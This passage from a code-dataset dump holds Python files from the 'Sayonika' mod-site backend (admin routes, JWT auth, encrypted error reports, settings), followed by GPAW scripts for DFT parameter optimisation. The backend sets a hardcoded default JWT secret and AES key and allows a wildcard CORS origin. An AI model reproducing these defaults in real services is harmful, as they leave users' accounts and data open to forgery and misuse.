whichever is appropriate\n\n page = page - 1 if page > 0 else 0\n reports = await paginate(\n Report.query.order_by(\"mod_id\"), page, limit\n ).gino.all()\n\n return jsonify(self.dict_all(reports))\n\n @route(\"/api/v1/mods/<mod_id>/verify\", methods=[\"POST\"])\n @requires_admin\n @json\n async def post_verify(self, mod_id: str):\n if not await Mod.exists(mod_id):\n abort(404, \"Unknown mod\")\n\n await Mod.update.values(verified=True).where(Mod.id == mod_id).gino.status()\n\n return jsonify(True)\n\n @route(\"/api/v1/admin/decrypt_tb\", methods=[\"POST\"])\n @requires_admin\n @json\n async def post_decrypt_tb(self):\n data = await request.get_data()\n data = data.strip()\n\n if b\".\" not in data or data.count(b\".\") != 1:\n abort(400, \"Bad data\")\n\n nonce, digest = data.split(b\".\")\n nonce = base64.b64decode(nonce)\n digest = base64.decodebytes(digest.replace(rb\"\\n\", b\"\\n\"))\n\n c = AES.new(SETTINGS[\"AES_KEY\"], AES.MODE_CTR, nonce=nonce)\n parsed = c.decrypt(digest).decode()\n\n return jsonify(parsed)\n\n @multiroute(\n \"/api/v1/admin/users/<user_id>\", methods=[\"PATCH\"], other_methods=[\"DELETE\"]\n )\n @requires_developer\n @json\n @use_kwargs(\n {\n \"supporter\": fields.Boolean(allow_none=True),\n \"editor\": fields.Boolean(allow_none=True),\n \"moderator\": fields.Boolean(allow_none=True),\n \"developer\": fields.Boolean(allow_none=True),\n \"password\": fields.Str(required=True),\n },\n locations=(\"json\",),\n )\n async def patch_user_roles(self, user_id: str, password: str, **kwargs):\n # TODO: audit log stuff\n if not await User.exists(user_id):\n abort(404, \"Unknown user\")\n\n admin_user_id = await get_token_user()\n\n user = await User.get(admin_user_id)\n\n if not Authenticator.compare_password(password, user.password):\n abort(401, \"Invalid password\")\n\n if not kwargs:\n return jsonify(True)\n\n await User.update.values(\n **{k: v for k, v in kwargs.items() if v is not None}\n ).where(User.id == user_id).gino.status()\n\n return jsonify(True)\n\n @route(\"/api/v1/admin/users/report_queue\", methods=[\"GET\"])\n @requires_admin\n @json\n @use_kwargs(\n {\"page\": fields.Int(missing=0), \"limit\": fields.Int(missing=50)},\n locations=(\"json\",),\n )\n async def get_user_report_queue(self, limit: int, page: int):\n if not 1 <= limit <= 100:\n limit = max(\n 1, min(limit, 100)\n ) # Clamp `limit` to 1 or 100, whichever is appropriate\n\n page = page - 1 if page > 0 else 0\n reports = await paginate(\n UserReport.query.order_by(\"user_id\"), page, limit\n ).gino.all()\n\n return jsonify(self.dict_all(reports))\n\n @multiroute(\n \"/api/v1/admin/users/<user_id>\", methods=[\"DELETE\"], other_methods=[\"PATCH\"]\n )\n @requires_developer\n @json\n @use_kwargs({\"password\": fields.Str(required=True)}, locations=(\"json\",))\n async def delete_user(self, user_id: str, password: str):\n # TODO: audit log stuff\n if not await User.exists(user_id):\n abort(404, \"Unknown user\")\n\n admin_user_id = await get_token_user()\n\n user = await User.get(admin_user_id)\n\n if not Authenticator.compare_password(password, user.password):\n abort(401, \"Invalid password\")\n\n await Mod.delete.where(\n and_(\n ModAuthor.user_id == user_id,\n ModAuthor.mod_id == Mod.id,\n ModAuthor.role == AuthorRole.owner,\n )\n ).gino.status()\n await User.delete.where(User.id == user_id).gino.status()\n\n return jsonify(True)\n\n\ndef setup(core: Sayonika):\n Admin(core).register()\n", "id": "10602462", "language": "Python", "matching_score": 2.831230640411377, "max_stars_count": 3, "path": "routes/admin.py" }, { "content": "# External Libraries\nimport bcrypt\nfrom quart import abort, request\n\n# Sayonika Internals\nfrom framework.models import Mod, User, ModAuthor\nfrom framework.objects import jwt_service\n\n\nclass Authenticator:\n \"\"\"\n Class for checking permissions of users, and hashing passwords.\n \"\"\"\n\n @classmethod\n async def has_authorized_access(cls, _, **kwargs) -> bool:\n \"\"\"Checks if a user has a valid token and has verified email.\"\"\"\n token = request.headers.get(\"Authorization\", request.cookies.get(\"token\"))\n\n if token is None:\n abort(401, \"No token\")\n\n parsed_token = await jwt_service.verify_login_token(token, True)\n\n if parsed_token is False:\n abort(400, \"Invalid token\")\n\n user = await User.get(parsed_token[\"id\"])\n\n if not user.email_verified:\n abort(401, \"User email needs to be verified\")\n\n # XXX: this gives site devs unrestricted access. Limit in v2.\n if user.developer:\n return True\n\n if request.method != \"GET\": # Check all methods other than get\n if \"mod_id\" in kwargs:\n user_mods = await Mod.query.where(\n ModAuthor.user_id == user.id\n ).gino.all()\n\n if not (user.developer or user.moderator) and kwargs[\"mod_id\"] not in (\n mod.id for mod in user_mods\n ):\n abort(\n 403,\n \"User does not have the required permissions to fulfill the request.\",\n )\n\n return True\n\n @classmethod\n async def has_supporter_features(cls) -> bool:\n \"\"\"Check if a user is a supporter.\"\"\"\n token = request.headers.get(\"Authorization\", request.cookies.get(\"token\"))\n\n if token is None:\n abort(401)\n\n parsed_token = await jwt_service.verify_login_token(token, True)\n\n if parsed_token is False:\n abort(400, \"Invalid token\")\n\n user = await User.get(parsed_token[\"id\"])\n\n if not user.supporter:\n abort(\n 403,\n \"User does not have the required permissions to fulfill the request.\",\n )\n\n return True\n\n @classmethod\n async def has_admin_access(cls, developer_only: bool = False) -> bool:\n \"\"\"Check if a user is an admin.\"\"\"\n token = request.headers.get(\"Authorization\", request.cookies.get(\"token\"))\n\n if token is None:\n abort(401)\n\n parsed_token = await jwt_service.verify_login_token(token, True)\n\n if parsed_token is False:\n abort(400, \"Invalid token\")\n\n user = await User.get(parsed_token[\"id\"])\n\n if (developer_only and not user.developer) or (\n not developer_only and (not user.moderator and not user.developer)\n ):\n abort(\n 403,\n \"User does not have the required permissions to fulfill the request.\",\n )\n\n return True\n\n @classmethod\n def hash_password(cls, password: str) -> bytes:\n \"\"\"Hashes a password and returns the digest.\"\"\"\n return bcrypt.hashpw(password.encode(), bcrypt.gensalt())\n\n @classmethod\n def compare_password(cls, password: str, hash_: bytes):\n \"\"\"Compares a password against hash_\"\"\"\n return bcrypt.checkpw(password.encode(), hash_)\n", "id": "930733", "language": "Python", "matching_score": 2.6634750366210938, "max_stars_count": 3, "path": "framework/authentication.py" }, { "content": "# Stdlib\nimport hashlib\nimport mimetypes\nimport string\nfrom typing import Optional\nimport urllib.parse as urlp\n\n# External Libraries\nimport aiohttp\nfrom quart import abort, request\nfrom sqlalchemy.orm import Query\nfrom unidecode import unidecode\n\n# Sayonika Internals\nfrom framework.objects import SETTINGS, jwt_service\n\nGRAVATAR_BASE = \"https://www.gravatar.com/avatar/{}?s=512\" # noqa: P103\nDEFAULT_AVATAR = GRAVATAR_BASE.format(\n hashlib.md5(b\"<EMAIL>\").hexdigest() # noqa: S303\n)\n\n\ndef generalize_text(text: str) -> str:\n \"\"\"\n Transforms a given string into a lowercased, dash separated sequence,\n with non-ascii characters and punctuation removed.\n\n e.g.\n Input: öBLiq.ue fońt]\n Output: oblique-font\n \"\"\"\n return (\n # Rejoin with only one space\n \" \".join(\n # Remove unicode characters by trying to find visually similar ASCII\n unidecode(text)\n # Strip punctuation characters\n .translate(str.maketrans(\"\", \"\", string.punctuation))\n # Split on any whitespace character, including multiple\n .split()\n )\n .strip()\n .replace(\" \", \"-\")\n .lower()\n )\n\n\ndef generate_gravatar(email: str) -> str:\n \"\"\"Generates a Gravatar URL given an email. Comes with default fallback.\"\"\"\n email_ = email.strip().lower()\n hash_ = hashlib.md5(email_.encode()).hexdigest() # noqa: S303\n\n return GRAVATAR_BASE.format(hash_) + f\"&d={urlp.quote(DEFAULT_AVATAR, '')}\"\n\n\ndef paginate(query: Query, page: int, limit: int = 50) -> Query:\n \"\"\"Paginates a query, calculating the proper offset for the page.\"\"\"\n return query.limit(limit).offset(page * limit)\n\n\nasync def verify_recaptcha(\n token: str, session: aiohttp.ClientSession, action: Optional[str] = None\n) -> float:\n \"\"\"Verify a reCAPTCHA request.\"\"\"\n\n secret = SETTINGS[\"RECAPTCHA_SECRET_KEY\"]\n\n params = {\"secret\": secret, \"response\": token}\n\n async with session.post(\n \"https://www.google.com/recaptcha/api/siteverify\", params=params\n ) as resp:\n data = await resp.json()\n\n if data[\"success\"] is False:\n abort(400, \"Invalid captcha\")\n\n if data[\"action\"] != action:\n abort(400, \"Invalid captcha action\")\n\n return data[\"score\"]\n\n\nasync def get_token_user() -> str:\n token = request.headers.get(\"Authorization\", request.cookies.get(\"token\"))\n parsed_token = await jwt_service.verify_login_token(token, True)\n\n return parsed_token[\"id\"] if isinstance(parsed_token, dict) else None\n\n\nasync def ipfs_upload(\n file: bytes, filename: str, session: aiohttp.ClientSession\n) -> dict:\n form = aiohttp.FormData()\n form.add_field(\n \"file\", file, filename=filename, content_type=mimetypes.guess_type(filename)[0]\n )\n\n async with session.post(\"https://ipfs.infura.io:5001/api/v0/add\") as resp:\n data = await resp.json()\n\n return data\n", "id": "11124505", "language": "Python", "matching_score": 2.1884586811065674, "max_stars_count": 3, "path": "framework/utils.py" }, { "content": "# Stdlib\nfrom datetime import datetime, timedelta\nfrom typing import Union\n\n# External Libraries\nimport jwt\n\n# Sayonika Internals\n# from framework.models import User\nfrom framework.jsonutils import CombinedEncoder\nimport framework.models\n\n\nclass JWT:\n \"\"\"Class for generating and validating JWTs.\"\"\"\n\n algorithm = \"HS256\"\n\n def __init__(self, settings: dict):\n # `settings` is the dict of all ENV vars starting with SAYONIKA_\n self.secret = settings[\"JWT_SECRET\"]\n\n def _make_token(self, payload: dict) -> str:\n \"\"\"Internal method for generating a token with consistent settings.\"\"\"\n payload.update(iat=datetime.utcnow())\n\n return jwt.encode(\n payload, self.secret, algorithm=self.algorithm, json_encoder=CombinedEncoder\n ).decode()\n\n def make_login_token(self, id_: str, password_reset: datetime) -> str:\n \"\"\"Generates a token to be used for regular authentication.\"\"\"\n payload = {\n \"id\": id_,\n \"lr\": password_reset,\n }\n\n return self._make_token(payload)\n\n def make_email_token(self, id_: str, email: str) -> str:\n \"\"\"Generates a token to be used for verifying user's emails.\"\"\"\n payload = {\n \"id\": id_,\n \"email\": email,\n \"exp\": datetime.utcnow() + timedelta(days=1),\n }\n\n return self._make_token(payload)\n\n async def verify_login_token(\n self, token: str, return_parsed: bool = False\n ) -> Union[dict, bool]:\n \"\"\"Verify/validates a login token, and returns its data if specified.\"\"\"\n try:\n decoded = jwt.decode(token, self.secret, algorithms=[self.algorithm])\n except jwt.PyJWTError:\n return False # Any errors thrown during decoding probably indicate bad token in some way\n\n if set(decoded.keys()) != set([\"id\", \"lr\", \"iat\"]):\n return False # Keys should only be the ones we give\n\n user = await framework.models.User.get(decoded[\"id\"])\n\n if (\n user is None\n or datetime.fromisoformat(decoded[\"lr\"]) != user.last_pass_reset\n ):\n return False\n\n return decoded if return_parsed else True\n\n async def verify_email_token(self, token: str, return_parsed: bool = False):\n \"\"\"Verify/validates an email token, and returns its data if specified.\"\"\"\n try:\n decoded = jwt.decode(token, self.secret, algorithms=[self.algorithm])\n except jwt.PyJWTError:\n return False\n\n if set(decoded.keys()) != set([\"id\", \"email\", \"exp\", \"iat\"]):\n return False\n\n user = await framework.models.User.get_any(\n id=decoded[\"id\"], email=decoded[\"email\"]\n ).first()\n\n if user is None or user.id != decoded[\"id\"] or user.email != decoded[\"email\"]:\n return False\n\n return decoded if return_parsed else True\n", "id": "8256139", "language": "Python", "matching_score": 1.1642173528671265, "max_stars_count": 3, "path": "framework/tokens.py" }, { "content": "# Stdlib\nfrom asyncio import Future\nimport base64\nfrom datetime import datetime\nfrom functools import partial\nimport json\nfrom traceback import format_exception\n\n# External Libraries\nfrom Cryptodome.Cipher import AES\nfrom quart import Response, request\nfrom quart.exceptions import WERKZEUG_EXCEPTION_CODES as exception_codes\n\n# Sayonika Internals\nfrom framework.error_handlers.error_common import error_handler\nfrom framework.jsonutils import DatetimeJSONEncoder\n\n\ndef make_auto_future(val):\n fut = Future()\n fut.set_result(val)\n\n return fut\n\n\nexception_handlers = {\n code: error_handler(\n # Need to partial the lambda so we can keep the proper code, otherwise it just ends up using the last one (505)\n partial(lambda x, err: make_auto_future(Response(err.description, x)), code)\n )\n for code in exception_codes\n}\n\n# Custom 429 message\nexception_handlers[429] = error_handler(\n lambda err: make_auto_future(\n Response(f\"Ratelimit for this endpoint: {err.description}\", 429)\n )\n)\n\n\n@error_handler\nasync def handle_500(err):\n from framework.objects import SETTINGS, jwt_service\n\n tb = \"\".join(format_exception(type(err), err, err.__traceback__))\n token = request.headers.get(\"Authorization\", request.cookies.get(\"token\"))\n parsed = await jwt_service.verify_login_token(token, True)\n\n if not parsed:\n meta = {}\n else:\n meta = {\"id\": parsed[\"id\"]}\n\n meta[\"time\"] = datetime.utcnow()\n\n # Send traceback and metadata in base64 and encrypted.\n data = json.dumps({\"tb\": tb, \"d\": meta}, cls=DatetimeJSONEncoder).encode()\n\n c = AES.new(SETTINGS[\"AES_KEY\"], AES.MODE_CTR)\n digest = base64.encodebytes(c.encrypt(data))\n nonce = base64.b64encode(c.nonce)\n\n res = nonce + b\".\" + digest\n\n # TODO: Sentry error reporting integration\n\n return Response(res.decode(), 500)\n\n\nexception_handlers[500] = handle_500\n", "id": "7925596", "language": "Python", "matching_score": 2.4440886974334717, "max_stars_count": 3, "path": "framework/error_handlers/error_handlers.py" }, { "content": "# Stdlib\nfrom datetime import datetime, timedelta\nfrom enum import Enum\n\n# External Libraries\nfrom quart.json import JSONEncoder\n\n\nclass EnumJSONEncoder(JSONEncoder):\n \"\"\"JSON encoder for encoding enum values.\"\"\"\n\n def default(self, o):\n if isinstance(o, Enum):\n return o.value\n\n return super().default(o)\n\n\nclass DatetimeJSONEncoder(JSONEncoder):\n \"\"\"JSON encoder for encoding datetime objects.\"\"\"\n\n def default(self, o):\n if isinstance(o, datetime):\n return o.isoformat()\n\n return super().default(o)\n\n\nclass TimedeltaJSONEncoder(JSONEncoder):\n \"\"\"JSON encoder for encoding timedelta objects.\"\"\"\n\n def default(self, o):\n if isinstance(o, timedelta):\n return round(o.total_seconds() * 1000)\n\n return super().default(o)\n\n\nclass CombinedEncoder(EnumJSONEncoder, DatetimeJSONEncoder, TimedeltaJSONEncoder):\n \"\"\"JSON encoder that inherits functionality of other custom encoders.\"\"\"\n", "id": "3108573", "language": "Python", "matching_score": 0.23287251591682434, "max_stars_count": 3, "path": "framework/jsonutils.py" }, { "content": "# Stdlib\nimport json\n\n# External Libraries\nfrom quart import Response, request\n\n\n# Moved out of response_wrappers.py due to circular imports\ndef error_handler(func):\n \"\"\"Wrapper for error handlers that returns a similar format as `route_wrappers.json`.\"\"\"\n\n async def inner(*args, **kwargs):\n response = await func(*args, **kwargs)\n text = await response.get_data(False)\n\n try:\n text = json.loads(text)\n except json.JSONDecodeError:\n pass\n\n result = json.dumps(\n {\n \"error\": text,\n \"status\": response.status_code,\n \"success\": response.status_code < 400,\n },\n indent=4 if request.args.get(\"pretty\") == \"true\" else None,\n )\n\n return Response(\n response=result,\n headers=response.headers,\n status=response.status_code,\n content_type=\"application/json\",\n )\n\n return inner\n", "id": "1812917", "language": "Python", "matching_score": 1.389173150062561, "max_stars_count": 3, "path": "framework/error_handlers/error_common.py" }, { "content": "\"\"\"\nCustom key function for flask-limiter.\nProbably needs to be in its own file due to Quart's flask patching.\n(We should probably port limiter to Quart properly (or just wait for FastAPI rewrite lol))\n\"\"\"\n# External Libraries\nfrom flask import request\n\n\ndef get_ratelimit_key():\n token = request.headers.get(\"Authorization\", request.cookies.get(\"token\"))\n\n if token:\n return token\n if request.access_route:\n return request.access_route[0]\n return request.remote_addr\n", "id": "3754768", "language": "Python", "matching_score": 0.19024658203125, "max_stars_count": 3, "path": "framework/limiter.py" }, { "content": "# Stdlib\nfrom logging.config import fileConfig\nimport os\nimport sys\n\n# External Libraries\nfrom alembic import context\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.engine.url import URL\n\nsys.path.append(os.path.dirname(os.path.realpath(__file__)))\n\nfrom framework.db import (\n db as target_metadata,\n) # noqa: E402 isort:skip pylint: disable=wrong-import-position\nimport framework.models # noqa: F401 E402 isort:skip pylint: disable=unused-import,wrong-import-position\nfrom framework.settings import (\n SETTINGS,\n) # noqa: E402 isort:skip pylint: disable=wrong-import-position\n\n# this is the Alembic Config object, which provides\n# access to the values within the .ini file in use.\nconfig = context.config\n\n# Interpret the config file for Python logging.\n# This line sets up loggers basically.\nfileConfig(config.config_file_name)\n\n# other values from the config, defined by the needs of env.py,\n# can be acquired:\n# my_important_option = config.get_main_option(\"my_important_option\")\n# ... etc.\n\n\ndef get_url():\n return URL(\n \"postgres\",\n username=SETTINGS[\"DB_USER\"],\n password=SETTINGS[\"DB_PASS\"],\n host=SETTINGS[\"DB_HOST\"],\n port=SETTINGS[\"DB_PORT\"],\n database=SETTINGS[\"DB_NAME\"],\n )\n\n\ndef run_migrations_offline():\n \"\"\"\n Run migrations in 'offline' mode. Run when passing the `--sql flag to alembic.\n Outputs an SQL string which is used to upgrade/downgrade a database, instead of working on it through alembic.\n \"\"\"\n url = get_url()\n context.configure(url=url, target_metadata=target_metadata, literal_binds=True)\n\n with context.begin_transaction():\n context.run_migrations()\n\n\ndef run_migrations_online():\n \"\"\"\n Run migrations in 'online' mode.\n Connects to the given database and automatically applies the wanted upgrades/downgrades.\n \"\"\"\n connectable = create_engine(get_url())\n\n with connectable.connect() as connection:\n context.configure(connection=connection, target_metadata=target_metadata)\n\n with context.begin_transaction():\n context.run_migrations()\n\n\nif context.is_offline_mode():\n run_migrations_offline()\nelse:\n run_migrations_online()\n", "id": "12407624", "language": "Python", "matching_score": 2.9274251461029053, "max_stars_count": 3, "path": "env.py" }, { "content": "# Stdlib\nimport os\n\n__all__ = (\"SETTINGS\",)\n\nSETTINGS = {\n # Default\n \"SERVER_BIND\": \"0.0.0.0\",\n \"SERVER_PORT\": 4444,\n \"DB_HOST\": \"localhost\",\n \"DB_PORT\": 5432,\n \"DB_USER\": \"sayonika\",\n \"DB_PASS\": \"<PASSWORD>\",\n \"DB_NAME\": \"sayonika\",\n \"JWT_SECRET\": \"testing123\",\n \"AES_KEY\": \"this is a pretty long key oh no\",\n \"REDIS_URL\": \"redis://localhost:6379/0\",\n \"EMAIL_BASE\": \"http://localhost:4444\",\n \"MEDIUM_PUBLICATION\": \"sayonika\",\n}\n\nSETTINGS.update({k[9:]: v for k, v in os.environ.items() if k.startswith(\"SAYONIKA_\")})\n\nif len(SETTINGS[\"AES_KEY\"]) != 32:\n # Early catch for wrong length key\n raise ValueError(\"SAYONIKA_AES_KEY must be a 32 bit key.\")\nelse:\n SETTINGS[\"AES_KEY\"] = SETTINGS[\"AES_KEY\"].encode()\n", "id": "4814066", "language": "Python", "matching_score": 2.2025644779205322, "max_stars_count": 3, "path": "framework/settings.py" }, { "content": "# Stdlib\nimport sys\n\n# External Libraries\nfrom sqlalchemy.engine.url import URL\n\n# Sayonika Internals\nfrom framework.objects import db, loop, redis, sayonika_instance\nfrom framework.settings import SETTINGS\n\n\nasync def setup_db():\n # Set binding for Gino and init Redis\n await db.set_bind(\n URL(\n \"postgres\",\n username=SETTINGS[\"DB_USER\"],\n password=SETTINGS[\"<PASSWORD>\"],\n host=SETTINGS[\"DB_HOST\"],\n port=SETTINGS[\"DB_PORT\"],\n database=SETTINGS[\"DB_NAME\"],\n )\n )\n\n # await redis.setup()\n\n\n@sayonika_instance.after_serving\nasync def teardown():\n await sayonika_instance.aioh_sess.close()\n await db.pop_bind().close()\n redis.close()\n\n\nsayonika_instance.debug = len(sys.argv) > 1 and sys.argv[1] == \"--debug\"\nsayonika_instance.gather(\"routes\")\nloop.run_until_complete(setup_db())\n\n# Only run `app.run` if running this file directly - intended for development. Otherwise should use hypercorn.\nif __name__ == \"__main__\":\n try:\n sayonika_instance.run(\n SETTINGS[\"SERVER_BIND\"], int(SETTINGS[\"SERVER_PORT\"]), loop=loop\n )\n except KeyboardInterrupt:\n # Stop big stack trace getting printed when interrupting\n pass\n", "id": "4364386", "language": "Python", "matching_score": 1.528041124343872, "max_stars_count": 3, "path": "main.py" }, { "content": "# Stdlib\nimport asyncio\nimport logging\n\n# External Libraries\nimport quart.flask_patch # noqa: F401 pylint: disable=unused-import\nfrom aioredis import ConnectionsPool\nfrom flask_limiter import Limiter\nfrom quart_cors import cors\n\n# Sayonika Internals\nfrom framework.db import db\nfrom framework.init_later_redis import InitLaterRedis\nfrom framework.limiter import get_ratelimit_key\nfrom framework.mailer import Mailer\nfrom framework.sayonika import Sayonika\nfrom framework.settings import SETTINGS\nfrom framework.tokens import JWT\n\n__all__ = (\n \"sayonika_instance\",\n \"limiter\",\n \"logger\",\n \"jwt_service\",\n \"db\",\n \"mailer\",\n \"loop\",\n \"redis\",\n)\n\nloop = asyncio.get_event_loop()\n\nlogger = logging.getLogger(\"Sayonika\")\nsayonika_instance = cors(\n Sayonika(),\n allow_origin=[\"https://sayonika.moe\", \"*\"], # Remove this one when ready for prod\n)\njwt_service = JWT(SETTINGS)\nmailer = Mailer(SETTINGS)\nlimiter = Limiter(\n key_func=get_ratelimit_key,\n default_limits=SETTINGS.get(\"RATELIMITS\", \"5 per 2 seconds;1000 per hour\").split(\n \";\"\n ),\n)\nredis = InitLaterRedis(\n ConnectionsPool(SETTINGS[\"REDIS_URL\"], minsize=5, maxsize=10, loop=loop)\n)\n\n# Use env vars to update config\nsayonika_instance.config.update(SETTINGS)\nlimiter.init_app(sayonika_instance)\nlogger.setLevel(logging.INFO)\n", "id": "2065054", "language": "Python", "matching_score": 2.2709920406341553, "max_stars_count": 3, "path": "framework/objects.py" }, { "content": "# External Libraries\nfrom aioredis.commands import Redis\n\n\nclass InitLaterRedis(Redis): # pylint: disable=abstract-method,too-many-ancestors\n \"\"\"An extension of aioredis commands to allow you to create it somewhere and then init it later.\"\"\"\n\n async def setup(self):\n pool = self._pool_or_conn\n\n try:\n await pool._fill_free(\n override_min=False\n ) # pylint: disable=protected-access\n except Exception:\n pool.close()\n await pool.wait_closed()\n await pool.wait_closed()\n raise\n", "id": "665540", "language": "Python", "matching_score": 1.007652997970581, "max_stars_count": 3, "path": "framework/init_later_redis.py" } ]
2.647277
sblisesivdin
[ { "content": "'''\noptimize_cutoff.py: Sample Cut-off Energy Optimization with GPAW\n\nUsage: $ gpaw -P<core_number> python optimize_cutoff.py <file.cif>\n'''\nfrom ase import *\nfrom ase.io import read\nfrom ase.geometry.cell import cell_to_cellpar\nfrom gpaw import GPAW, PW\nimport sys\nfrom ase.parallel import paropen, world, parprint\n\n#-------------------------------------------------------------\n# ENTER PARAMETERS\n# -------------------------------------------------------------\ncutoff_min = 200\ncutoff_max = 400\ncutoff_step = 50\n\nkpts_x = 7\nkpts_y = 7\nkpts_z = 7\n\nxc_used = 'GLLBSCM'\n\n# -------------------------------------------------------------\n# DO NOT NEED TO CHANGE ANYTHING UNDER THIS POINT\n# -------------------------------------------------------------\n# Read bulk structure from CIF\nif len(sys.argv) > 1:\n inFile = sys.argv[1]\n bulk_configuration = read(inFile, index='-1')\n\na, b, c, alpha, beta, gamma = cell_to_cellpar(bulk_configuration.get_cell(), radians=False)\n\n# Start trying all cut-off energies\nwith paropen('OptimizeCutOff_Table-CutOff.txt', 'a') as f:\n f.write('CutOff_Energy Total_Energy\\n')\n for ecut in range(cutoff_min, cutoff_max+1, cutoff_step):\n bulk_configuration.calc = GPAW(mode=PW(ecut),\n xc=xc_used,\n kpts=(kpts_x, kpts_y, kpts_z),\n parallel={'domain': world.size},\n basis='dzp',\n txt='OptimizeCutOff_%d.txt' % ecut)\n parprint (\"CutOff_energy:\"+str(ecut)+\" Potential_Energy:\"+str(bulk_configuration.get_potential_energy()))\n f.write(str(ecut)+' '+str(bulk_configuration.get_potential_energy())+'\\n')\n", "id": "84934", "language": "Python", "matching_score": 4.038191318511963, "max_stars_count": 6, "path": "optimizations/optimize_cutoff.py" }, { "content": "'''\noptimize_latticeparam.py: Sample Lattice Paramater Optimization with GPAW\n\nUsage: $ gpaw -P<core_number> python optimize_latticeparam.py\n'''\n\nimport numpy as np\nfrom ase import *\nfrom ase.io import read\nfrom ase.geometry.cell import cell_to_cellpar, cellpar_to_cell\nfrom gpaw import GPAW, PW\nimport sys\nfrom ase.io import Trajectory\nfrom ase.parallel import paropen, world, parprint\n\n# -------------------------------------------------------------\n# ENTER PARAMETERS\n# -------------------------------------------------------------\ncutoff = 700\n\nkpts_x = 5\nkpts_y = 5\nkpts_z = 5\n\nxc_used = 'GLLBSCM'\n\nkpts_density =2.5\n\nuse_density = True # Change to \"True\", if you want to use k-point density instead of kpoints.\n\na0 = 3.87 # Creating a lattice parameter list\npercent = 0.05 # changing the lattice parameter how much percent?\n\na_list = a0 * (1 + np.linspace(-percent , +percent , 11)) # do not change this line\n\n# -------------------------------------------------------------\n# Bulk Configuration\n# -------------------------------------------------------------\n# Read bulk structure from CIF\nif len(sys.argv) > 1:\n inFile = sys.argv[1]\n bulk_configuration = read(inFile, index='-1')\n\na, b, c, alpha, beta, gamma = cell_to_cellpar(bulk_configuration.get_cell(), radians=False)\n\n# prepare arrays for total energies and correspoding volumes\netots = []\nvols = []\n# prepare trajectory object where all cells are stored in\ntraj = Trajectory(\"Optimize-Lattice_Trajectory.traj\", \"w\")\n\n# print nice header\nparprint(\" a volume total energy\")\nparprint(\"-----------------------------\")\n\nwith paropen('Optimize-Lattice_Table-LatticeParam.txt', 'w') as f:\n f.write('LattParam volume total_energy\\n')\n f.write('-----------------------------\\n')\n for latt_a in a_list:\n bulk_configuration.set_cell(cellpar_to_cell([a*latt_a/a, b*latt_a/a, c, alpha, beta, gamma]), scale_atoms = True)\n\n # --------------------------------------------------------------\n # create the cell, then find, store and print the total energy for a in a_list:\n if use_density == True:\n bulk_configuration.calc = GPAW(mode=PW(cutoff),\n parallel={'domain': world.size},\n xc=xc_used,\n kpts={'density': kpts_density, 'gamma': True},\n basis='dzp',\n txt='Optimize-Lattice_%.2f.txt' % latt_a)\n else:\n bulk_configuration.calc = GPAW(mode=PW(cutoff),\n parallel={'domain': world.size},\n xc=xc_used,\n kpts=(kpts_x, kpts_y, kpts_z),\n basis='dzp',\n txt='Optimize-Lattice_%.2f.txt' % latt_a)\n # we need volume and energy for E(V)−curve;\n # use corresponding getter functions and append values to lists \n vol = bulk_configuration.get_volume()\n vols.append(vol)\n etot = bulk_configuration.get_potential_energy()\n etots.append(etot)\n parprint(\"{:1.3f} {:2.3f} {:2.6f}\".format(latt_a, vol, etot))\n f.write(\"{:1.3f} {:2.3f} {:2.6f}\\n\".format(latt_a, vol, etot))\n\n # write the entire configuration (cell + energy) as trajectory\n traj.write(bulk_configuration)\n", "id": "10086340", "language": "Python", "matching_score": 3.8714070320129395, "max_stars_count": 6, "path": "optimizations/optimize_latticeparam.py" }, { "content": "'''\noptimize_kpoints.py: Sample K-point Optimization with GPAW\n\nUsage: $ gpaw -P<core_number> python optimize_kpoints.py <file.cif>\n'''\n\nfrom ase import *\nfrom ase.io import read\nfrom ase.geometry.cell import cell_to_cellpar\nimport sys\nfrom gpaw import GPAW, PW\nfrom ase.parallel import paropen, parprint\n\n# -------------------------------------------------------------\n# ENTER PARAMETERS\n# -------------------------------------------------------------\ncutoffenergy = 200\n\nkpoint_min = 4\nkpoint_max = 11\n\nxc_used = 'GLLBSCM'\n\n# -------------------------------------------------------------\n# DO NOT NEED TO CHANGE ANYTHING UNDER THIS POINT\n# -------------------------------------------------------------\n# Read bulk structure from CIF\nif len(sys.argv) > 1:\n inFile = sys.argv[1]\n bulk_configuration = read(inFile, index='-1')\n\na, b, c, alpha, beta, gamma = cell_to_cellpar(bulk_configuration.get_cell(), radians=False)\n\n# Start trying all k-points\nwith paropen('OptimizeKPoints_Table-KPoints.txt', 'a') as f:\n f.write('K-point Total_Energy\\n')\n for k in range(kpoint_min, kpoint_max):\n bulk_configuration.calc = GPAW(mode=PW(cutoffenergy),\n xc=xc_used,\n kpts=(k, k, k),\n parallel={'band': 1},\n basis='dzp',\n txt='OptimizeKPoints_KPoints-%02d.txt' % k)\n parprint(\"K-point:\"+str(k)+\" Potential_Energy:\"+str(bulk_configuration.get_potential_energy()))\n f.write(str(k)+' '+str(bulk_configuration.get_potential_energy())+'\\n')\n", "id": "12313968", "language": "Python", "matching_score": 6.046624660491943, "max_stars_count": 6, "path": "optimizations/optimize_kpoints.py" }, { "content": "'''\noptimize_kptsdensity.py: Sample K-point density optimization with GPAW\n\nUsage: $ gpaw -P<core_number> python optimize_kptsdensity.py <file.cif>\n'''\n\nfrom ase import *\nfrom ase.io import read\nfrom ase.geometry.cell import cell_to_cellpar\nfrom gpaw import GPAW, PW\nimport sys\nfrom ase.parallel import paropen, parprint\nimport numpy as np\n\n# -------------------------------------------------------------\n# ENTER PARAMETERS\n# -------------------------------------------------------------\ncutoffenergy = 700\n\nkptsdensity_min = 1.5\nkptsdensity_max = 3.0\nkptsdensity_step = 0.1\n\nxc_used = 'GLLBSCM'\n\n# -------------------------------------------------------------\n# DO NOT NEED TO CHANGE ANYTHING UNDER THIS POINT\n# -------------------------------------------------------------\n# Read bulk structure from CIF\nif len(sys.argv) > 1:\n inFile = sys.argv[1]\n bulk_configuration = read(inFile, index='-1')\n\na, b, c, alpha, beta, gamma = cell_to_cellpar(bulk_configuration.get_cell(), radians=False)\n\n# Start trying all k-density values\nwith paropen('OptimizeKPoints_Table-KPointDensity.txt', 'a') as f:\n f.write('K-density Total_Energy\\n')\n for k in np.arange(kptsdensity_min, kptsdensity_max, kptsdensity_step):\n bulk_configuration.calc = GPAW(mode=PW(cutoffenergy),\n xc=xc_used,\n kpts={'density': k, 'gamma': True},\n parallel={'band': 1},\n basis='dzp',\n txt='OptimizeKPointDensity_KDensity-%02d.txt' % k)\n parprint(\"K-density:\"+str(k)+\" Potential_Energy:\"+str(bulk_configuration.get_potential_energy()))\n f.write(str(k)+' 